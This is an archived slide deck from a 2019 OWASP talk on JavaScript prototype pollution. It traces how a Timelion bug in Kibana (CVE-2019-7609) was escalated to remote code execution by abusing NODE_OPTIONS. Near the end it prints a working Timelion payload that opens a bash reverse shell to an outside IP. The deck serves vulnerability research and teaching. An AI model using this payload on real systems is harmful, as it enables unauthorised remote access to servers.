

Prototype Pollution in Kibana

Prototype Pollution in Kibana - Michał Bentkowski, Slides.

- Published: date not stated
- Original: <<https://slides.com/securitymb/prototype-pollution-in-kibana>>
- Preserved from: <https://slides.com/securitymb/prototype-pollution-in-kibana> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Prototype Pollution

Michał Bentkowski / securitum

[@SecurityMB](#)

Michał Bentkowski

- Working at [Securitum](#)
- Pentester / Researcher / Web Security Instructor
- Bug bounty hunter
- 0x08 place at Google's [0x0A](#)
- Loving client-side security
- Speaking XSS

Agenda

- Prototype-based inheritance
- What's prototype pollution anyway?
- DEMO: RCE via prototype pollution in Kibana
- Lessons learnt

Let's talk about JavaScript

How can I access `toString` if it is not a property of `obj` ?

The answer: **prototype-based inheritance**

Every object in JavaScript has a prototype

It can also be `null`

We can access it via `__proto__`

| prop1 | | | | prop2 | | | | **proto** | | |

obj

| **defineGetter** | | | | **defineSetter** | | | | ... | | | | toString() | | | | **proto** | | |

Object.prototype

null

Prototype chain

| prop1 | | | | prop2 | | | | **proto** | | |

obj

| **defineGetter** | | | | **defineSetter** | | | | ... | | | | toString() | | | | **proto** | | |

Object.prototype

null

| prop3 | | | | prop4 | | | | **proto** | | |

obj2

When trying to access `obj.prop3` ...

- Look if it is a property of `obj`
- If it's not, look if it is a property of `obj2`
- It is! Process finished

| ... | | | | **proto** | | |

obj1

| ... | | | | **proto** | | |

obj2

| ... | | | | **proto** | | |

obj3

| ... | | | | **proto** | | |

objN

·
·
·

In a nutshell, if JS engine looks for a property in `obj1`, it needs to traverse the entire **prototype chain**.

The prototype chain ends when `__proto__ === null`.

Almost always, the final object (`objN`) is `Object.prototype`
null

Prototype pollution

Prototype pollution occurs when there is a bug in application that makes it possible to pollute `Object.prototype` with arbitrary properties.

Suppose we have a code

```
if (user.isAdmin) {  
    // Do something important  
}
```

And there's a bug in application so we can assign:

```
Object.prototype.isAdmin = true
```

Then everyone is an admin!

For general info about prototype pollution (eg. how to achieve it), check out the research by Olivier Arteau:

- [Paper and slides](#)
- [Youtube video](#)

... because in this presentation, I'm going to focus on one specific instance of prototype pollution.

Prototype Pollution in Kibana

During a training organized by Securitum, one participant, Bartłomiej Pokrzywiński, wanted to practice exploiting a real-world vulnerability, on the example of CVE-2019-7609, and was looking for some support.

And this indeed led to a pretty interesting research how this vulnerability can be exploited in real world.

This is a way to pollute the
prototype

Let's see how we can DoS the application...

In real world, Kibana needs to be restarted at this point.

But I can fix it via debugger.

After "fixing" Object.prototype, Kibana works fine again.

What we know

- We have a prototype pollution in Timelion.

Next steps

Now I had to find some code to transform prototype pollution to RCE.

I had not idea what exactly I was looking for.

Next steps

The dreamy code would be similar to:

```
if (obj.jsCode) {  
  eval(obj.jsCode);  
}
```



Obviously, didn't find anything like that.

Next steps

But, incidentally, I noticed something peculiar.

At this point, I noticed **a lot of errors** in the Kibana output.



Why so many errors?

I run Kibana with --inspect

(this runs the debugger on port 9229).

And now I'm getting a lot of errors that the port is already used.

Conclusion: Kibana tries to spawn a new process!

What we know

- We have a prototype pollution in Timelion.
- After clicking "Canvas", Kibana spawns a new process.

This function is basically a prototype pollution paradise.

Lots of undefined properties are being accessed.

All of them can be polluted.

This is a list of environmental variables that will be passed to the new process

What we know

- We have a prototype pollution in Timelion.
- After clicking "Canvas", Kibana spawns a new process.
- We can control the environmental variables passed to the new `node` process.

But perhaps there are other command line arguments that are equivalent to `eval`?

So I can run arbitrary JS code via `--require` but I need to upload my own file to the Kibana server.

... or do I?

This is a valid JS code

This confirms that I can execute arbitrary JS code if I control env variables when spawning node process.

No file upload needed!

What we know

- We have a prototype pollution in Timelion.
- After clicking "Canvas", Kibana spawns a new process.
- We can control the environmental variables passed to the new node process.
- We can **execute arbitrary JavaScript code** if we control environmental variables to the new node process.
- The only thing missing is to turn it into a real RCE!

□□□

```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >&
/dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

The payload

Summary

- We have a prototype pollution in Timelion.
- After clicking "Canvas", Kibana spawns a new process.
- We can control the environmental variables passed to the new node process.
- We can **execute arbitrary JavaScript code** if we control environmental variables to the new node process.
- This leads to RCE in Kibana < 6.6.0.

Other thoughts

The exploit is not perfectly reliable.

If the new process has already been spawned, we cannot run another one.

Other thoughts

It is also not perfect.

I'm abusing some specific feature of Linux (`/proc/self/environ`). Would be better if the exploit was pure JS.

Other thoughts

What I find is basically a **gadget**: if an application is vulnerable to prototype pollution, and it spawns a new process, we can use exactly the same code.

Ideas for research

- Find more gadgets in node's stdlib.
- Perhaps a tool like **ysoserial**

(ysopolluted?)

- How to find gadgets in efficient manner

Final conclusion

When stars are aligned, prototype pollution can be exploited to RCE.

Thanks!

Any questions?

Links:

- <https://slides.com/securitymb/prototype-pollution-in-kibana>

Prototype Pollution in Kibana

By securitymb

Prototype Pollution in Kibana

Presentation I did for OWASP Poland Day, 14th October 2019

--

- 42,955

securitymb

- [securityMB](#)